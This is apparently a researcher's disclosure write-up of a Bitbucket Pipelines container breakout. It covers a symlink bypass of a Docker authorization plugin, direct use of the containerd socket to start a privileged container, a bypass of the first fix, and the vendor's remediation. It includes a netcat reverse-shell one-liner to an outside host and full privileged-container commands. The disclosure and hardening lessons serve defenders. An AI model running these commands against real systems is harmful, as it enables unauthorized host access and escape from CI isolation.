Bypassing Docker Authz Plugin and Using Docker-Containerd for Privesc

Containers, Docker containers in particular, are deployed everywhere these days. This is especially true in build environments or your typical CI/CD pipeline. A frequent requirement in these environments is the ability to build Docker container images, which tends to introduce security vulnerabilities through misconfiguration. One typically finds that the docker daemon is exposed to allow for so-called docker-in-docker builds, which I’ve previously shown can easily lead to container breakout. This means I’m always on the lookout for possible places that the Docker daemon/API might be directly accessible.

While playing around with Bitbucket Pipelines and the provided option of building Docker images from a Dockerfile in your repository. This functionality is really easy to access, you simply add services: - docker to your bitbucket-pipelines.yml file and the pipeline environment will be configured with access to a Docker daemon. At first glance this seems too good to be true, and easily exploitable, however, reading a bit further into the documentation you quickly discover that the Docker daemon is locked down.

Restrictions

The team from Atlassian have thought about this and ensured that none of the usual vectors for elevating privileges via containers are exposed. From their documentation:

The security of your data is really important to us, especially when you are trusting it to the cloud. To keep everybody safe we’ve restricted the following:

For docker container run/docker run we don’t allow:

• privileged
• device
• mount
• volume (other than /opt/atlassian/bitbucketci/agent/build/.* or /opt/atlassian/pipelines/agent/build/.*)
• pid
• ipc
• uts
• userns
• security-opt
• cap-add

For docker container update/docker update we don’t allow:

• devices

For docker container exec/docker exec we don’t allow:

• privileged

For docker image build/docker build we don’t allow:

• security-opt

If you attempt the classic breakout of using --privileged you immediately get an error response:

$ docker run -it --privileged -v /:/rootfs alpine:latest /bin/sh
docker: Error response from daemon: authorization denied by plugin pipelines: --privileged=true is not allowed

Foiled, and not having seen that error message before, I wanted to see what the response was when trying to only mount the root directory.

$ docker run -it -v /:/rootfs alpine:latest /bin/sh
docker: Error response from daemon: authorization denied by plugin pipelines: -v only supports $BITBUCKET_CLONE_DIR and its subdirectories

Again, ‘access denied by plugin pipelines’:

Docker Plugins

At this point, I had run into something I knew nothing about, Docker plugins and it was time to do some research. It transpires that Docker has a plugin system that allows you to extend Docker (this should have been obvious to me, but I had no idea). The particular plugin that was in play here was an “Access authorization plugin” or AuthZ plugin.

The basic gist of this is

An authorization plugin approves or denies requests to the Docker daemon based on both the current authentication context and the command context.

and you can read all the technical details here: https://docs.docker.com/engine/extend/plugins_authorization/#basic-principles. In the case of Bitbucket, there is a plugin called pipelines which is checking the Docker command and preventing execution based on the above mentioned restrictions. This meant I would need to find someway to bypass it. I figured the most likely restriction that could be bypassable would be the volume restriction, since this is a string match, whereas the other restrictions are a simple boolean match.

Bypassing Step 1 - Mounting /

The restriction imposed is that we can only pass $BITBUCKET_CLONE_DIR AKA /opt/atlassian/pipelines/agent/build (and its subdirectories) as a volume mount. Now the $BITBUCKET_CLONE_DIR in itself is a volume mount into the build Docker container that Bitbucket provides us with (remember we are doing a docker-in-docker build). While this directory is accessible to us, inside the container, it also exists in the same place outside the container. At the same time, the Docker daemon is also running outside the container. This got me thinking, if the daemon is outside the container, then surely it can mount directories outside the container, which is why $BITBUCKET_CLONE_DIR also needs to be available to the daemon (outside the container). The next question was, would the daemon follow a symlink and mount that, and if so, would this allow me to bypass the AuthZ plugin?

The general picture I had in my head was as follows, hopefully this kind of makes sense. Essentially there is a Docker container, in which everything else “runs”, including the docker daemon and the container the build is happening inside.

+----------------------------------+-----------------------------------------------+
|                   Dind container - This is where the Docker daemon runs          |
|                                                                                  |
| +-----------------+                    +---------------------------------------+ |
| |                 |                    |                                       | |
| |                 +-------------------->  Dind container filesystem            | |
| |  docker daemon  |                    |                                       | |
| |                 |                    |                                       | |
| |                 |                    +---------------------------------------+ |
| |                 |                    |                                       | |
| |                 +--------------------> /opt/atlassian/pipelines/agent/build/ | |
| |                 |                    |                                       | |
| |                 |                    +---------------------+-+---------------+ |
| |                 |                                          ^ |                 |
| |                 |                                          | |                 |
| |                 |      +-----------------------------------+-v---------------+ |
| |                 |      |                                                     | |
| |                 |      |                                                     | |
| |                 |      |                                                     | |
| |                 +------>            Build container                          | |
| |                 <------+            (This is where we execute code)          | |
| |                 |      |                                                     | |
| |                 |      |                                                     | |
| +-----------------+      +-----------------------------------------------------+ |
|                                                                                  |
+----------------------------------------------------------------------------------+

I created a symlink inside the $BITBUCKET_CLONE_DIR with the hope that the Docker daemon would follow this when trying to mount the volume into a new container,

$ ln -s / /opt/atlassian/pipelines/agent/build/ln

And then passed this as the volume to mount into a new container:

$ docker run -i -v $BITBUCKET_CLONE_DIR/ln/:/ln alpine:latest /bin/sh

The container started up, since the pipelines AuthZ plugin saw that I was mounting a subdirectory of the allowed $BITBUCKET_CLONE_DIR. And when checking the newly created container, I had access to the dind container’s root (/) directory!

The full commands for doing this were the following, everything needs to be done through bitbucket-pipelines.yml. I broke it out into two files, the Dockerfile is downloaded by the pipeline file via curl just to give some flexibility in modifying the payload/container (this was useful in step2).

bitbucket-pipelines.yml

Dockerfile

With this success, I first tried to disable the pipelines AuthZ plugin, since I could now access /var/run/docker/plugins/ I could delete the plugin. But to actually stop it, would require restarting the docker daemon, which I could not do. I decided to submit to the Atlassian Bugbounty program on Bugcrowd and left the severity as blank and a comment the following comment about impact:

I’m a little unsure of the impact, this definitely allows you to do something you aren’t supposed to. I haven’t been able to use this to do too much more though. I tried using it to disable the docker plugins completely, to allow for running –privileged but no such luck. Maybe you have further insight into how this could be an issue.

The next morning I woke up to a message that the report had been triaged as P1 by Bugcrowd and was awaiting review by Atlassian. Don’t get me wrong, I was extremely happy with a P1, but felt a little disappointed that I hadn’t been able to actually prove that it was a P1.

Bypass step 2 - Getting –privileged

With some sleep behind me I decided to revisit the issue and see if this new access could be leveraged to privesc/escape the container. While browsing around the filesystem, the /var/run/docker directory in particular, I noticed that there was a containerd directory, which had two additional unix sockets.

Having always used the docker.sock directly, I wasn’t too sure what docker-containerd.sock and docker-containerd-debug.sock were actually used for. Thus another dive into the research rabbit hole.

So what is containerd? Well it is essentially what drives that container magic we all love (at least for Docker),

containerd is an industry-standard core container runtime with an emphasis on simplicity, robustness and portability. It is available as a daemon for Linux and Windows, which can manage the complete container lifecycle of its host system: image transfer and storage, container execution and supervision, low-level storage and network attachments, etc..

-https://containerd.io/

Docker has been using containerd as its “engine” since the v1.11 release. Containerd is an Open Container Initiative (OCI) implementation, allowing you to choose the runtime for your containers (the default for Docker being runC), while still using the familiar Docker interface/API that everyone has grown accustomed to.

The Docker v1.11 release announcement has a good diagram to illustrate how this all fits together:

Looking at that diagram, I started wondering if I could bypass the AuthZ plugin by first bypassing the Docker API and speaking to containerd directly. I spent some time trying to write my own containerd client. There is a great library available, however I got lazy and figured that there might be a shortcut exploitation, after-all I simply wanted a PoC to prove that I could escalate privileges. After a bit of searching around I came across docker-containerd-ctr. This provides a CLI interface to containerd with most of the functions I require already built in.

NAME:
   ctr -
        __
  _____/ /______
 / ___/ __/ ___/
/ /__/ /_/ /
\___/\__/_/

containerd CLI


USAGE:
   docker-containerd-ctr [global options] command [command options] [arguments...]

VERSION:
   v1.1.2

COMMANDS:
     plugins, plugin           provides information about containerd plugins
     version                   print the client and server versions
     containers, c, container  manage containers
     content                   manage content
     events, event             display containerd events
     images, image, i          manage images
     namespaces, namespace     manage namespaces
     pprof                     provide golang pprof outputs for containerd
     run                       run a container
     snapshots, snapshot       manage snapshots
     tasks, t, task            manage tasks
     shim                      interact with a shim directly
     cri                       interact with cri plugin
     help, h                   Shows a list of commands or help for one command

Exploitation using docker-containerd-ctr

I got my reverse shell back, after first changing the Dockerfile to build using the docker image, so that I could have all the latest versions of the docker binaries available.

The first step was to get the container image downloaded. This also served to test whether I could directly interact with containerd. I created a symlink to the docker-containerd.sock socket, since docker-containerd-ctr expected the containerd socket to be at /run/containerd/containerd.sock (this isn’t really necessary, since there is a –address option but I didn’t want to have to pass the address with each request); Note that we are linking from /ln/run/docker/containerd/docker-containerd.sock, where /ln is the volume mount path we specified in step 1.

$ mkdir /run/containerd
$ ln -s /ln/run/docker/containerd/docker-containerd.sock /run/containerd/containerd.sock
$ docker-containerd-ctr image pull docker.io/library/alpine:latest

Next step was to try and create a privileged container. I stumbled a little, with an error about docker-containerd-ctr not being able to create a fifo directory. This could have been because of the container-in-container situation, my initial shell being TTY-less or Bitbucket’s hijack of stdio. This was an easy issue to solve though, simply by passing the --null-io parameter the error went away. Because I couldn’t create an interactive container, I had to go with a reverse shell. The easiest here was to create a shell script, that got mounted into the container and then executed.

Again the trick was to remember to write the shell to /ln so that it would be on the root filesystem where containerd was running, but then to mount / since /ln only existed in the container.

$ echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 444 >/tmp/f" > /ln/pew.sh
$ docker-containerd-ctr run --privileged --rm -d --null-io --net-host --mount type=bind,src=/,dst=/host,options=rbind:rw --mount type=bind,src=/pew.sh,dst=/pew.sh,options=rbind:rwx docker.io/library/alpine:latest n /bin/sh /pew.sh

Great success! I received a reverse shell and no access denied messages. The final step was to verify that the container was privileged. I used amicontained to see what capabilities were available to my container (usually a good idea to run this whenever in a container)

First the output from the unprivileged container, and amicontained showed a limited set of capabilities, seccomp filtering enabled and the runtime as docker.

Compared to the new, privileged container. Here amicontained showed that our container had the full set of Linux capabilities, seccomp wasn’t enforced and our runtime had changed to Kube (Pipelines is managed through Kubernetes).

The final check was to see if our user in the container could now perform the same actions as root outside the container. For this I did a chroot to the mounted root directory, and ran iptables. On an unprivileged container this should fail with a permission error, while on the privileged container it should allow viewing/modifying iptables.

$ cd /host
$ chroot .
$ iptables -t nat --list

As expected, on the unprivileged container this fails.

While on the privileged container we can view the configured iptables rules.

The Fix

I immediately updated my report to Atlassian with the additional information. The team responded that the issue was indeed valid and an hour later had deployed a fix. As with a previous report to Atlassian, the turn-around time of verifying and fixing an issue was outstanding. The pipelines plugin now checked if a supplied path is a symlink, and resolves the symlink before deciding if the volume is allowed to be mounted.

Bypassing the Fix

After initially testing the fix and confirming that a symlink would be checked to ensure it terminates in the $BITBUCKET_CLONE_DIR, I realised it might be possible to bypass the AuthZ plugin in another way.

The first step was to create a symlink in the $BITBUCKET_CLONE_DIR, remember that the plugin checks if the mount path is $BITBUCKET_CLONE_DIR or one of it’s subdirectories. By creating a symlink to / a path of $BITBUCKET_CLONE_DIR/symlink/other would still be seen as valid. I assume what the code was doing was to check if the basename of a path is a symlink (so in this example other), if so, evaluate the symlink and check where it terminates. If the path is not a symlink, then check whether the path starts with $BITBUCKET_CLONE_DIR.

This means the following path would pass the AuthZ plugin while still pointing to a directory outside of the allowed path:

cd $BITBUCKET_CLONE_DIR
ln -s / slash
docker run -i -v `pwd`/slash/run:/pew docker:latest /bin/sh

The /run directory from the host would now be accessible inside the container and the above mentioned use of docker-ctr allows for complete breakout.

The in depth Fix

Atlassian turned on usernamespacing as a defence in depth solution. This meant that even if a container is able to mount in a directory outside of the allowed path, there would not be much that container could do with it. The above attack was now rendered toothless, since namespacing meant that even though the docker-containerd.sock was mounted into the container, it was not accessible in the container namespace and you would receive a permission denied error. This is because the root user in the container is now mapped to the nobody user outside the container, and has no privileges to access sensitive resources.

Conclusion

When performing testing, always remember to check how symlinks are handled, they are often overlooked. Symlinks should always be resolved before any security decisions are made. When testing or securing Docker environments, check that ALL sockets used by Docker are secured. I haven’t seen much mention of docker-containerd.sock in any security hardening guides, but it is worth keeping in mind, especially when you start deploying expensive security solutions that might only work on the Docker API.